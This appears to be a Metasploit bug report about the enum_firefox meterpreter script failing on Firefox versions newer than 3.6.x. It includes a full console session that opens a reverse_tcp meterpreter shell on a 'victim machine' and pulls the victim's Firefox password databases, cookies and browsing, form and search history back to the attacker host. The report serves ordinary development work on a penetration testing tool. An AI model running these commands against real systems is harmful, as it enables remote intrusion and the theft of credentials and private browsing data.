Fixed scripts/meterpreter/enum_firefox to work with firefox > 3.6.x

Script raised error and extract wrong information when firefox > 3.6.x installed on victim machine.

How to reproduce:
1. Install last firefox on victim machine.
2. Edit cookies.sqlite in profile directory, change value of "value" filed to something contain "/" symbol , for example "1234/5678" without quotes.
3. Run enum_firefox script.

Example:

```

[gregory@mbp:~/Documents/open_source/msf-my(master)]$ ./msfconsole -q
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 4444 
LPORT => 4444
msf  exploit(handler) > set LHOST 192.168.0.163
LHOST => 192.168.0.163
msf  exploit(handler) > exploit 

[*] Started reverse handler on 192.168.0.163:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.0.163
[*] Meterpreter session 1 opened (192.168.0.163:4444 -> 192.168.0.163:55569) at Sun Feb 26 16:15:15 +0200 2012

meterpreter > run enum_firefox
[*] Firefox was found on this system.
[*] Extracting Firefox data for user IE User
[*] 	Downloading Firefox Password file to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Usercert8.db'
[*] 	Downloading Firefox Password file to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Userkey3.db'
[*] 	Downloading Firefox Password file to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Usersignons.sqlite'
[*] 	Downloading Firefox Database file cookies.sqlite to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Usercookies.sqlite'
[*] 	Downloading Firefox Database file formhistory.sqlite to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Userformhistory.sqlite'
[*] 	Downloading Firefox Database file places.sqlite to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Userplaces.sqlite'
[*] 	Downloading Firefox Database file search.sqlite to '/Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE Usersearch.sqlite'
[*] 	Getting Firefox Bookmarks for IE User
[*] 	Saving to /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE User_bookmarks.txt
[*] 	It appears that there are no bookmarks for this account
[*] 	Getting list of Downloads using Firefox made by IE User
[*] 	Saving Download list to /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE User_download_list.txt
[*] 	Getting Firefox URL History for IE User
[*] 	Saving URL History to /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE User_history.txt
[*] 	Getting Firefox Form History for IE User
[*] 	Saving Firefox Form History to /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE User_form_history.txt
[*] 	Getting Firefox Search History for IE User
[*] 	Saving Firefox Search History to /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/IE User_search_history.txt
[*] 	Getting Firefox Cookies for IE User
[-] Error in script: Errno::ENOENT No such file or directory - /Users/gregory/.msf4/logs/scripts/enum_firefox/192.168.0.163_20120226.1523/firefoxcookies_IE User94_KJhMTsPQRsq/pupQjq9y6e16+2xpB+1pBnUQfEqlOy9XAxDz.txt
meterpreter > 

```

Bug occurs due to the fact that Mozilla changed schema for cookies.sqlite file in Firefox 4.0.0.

I dumped cookies.sqlite schema for all firefox version here: https://gist.github.com/1916610

Thanks.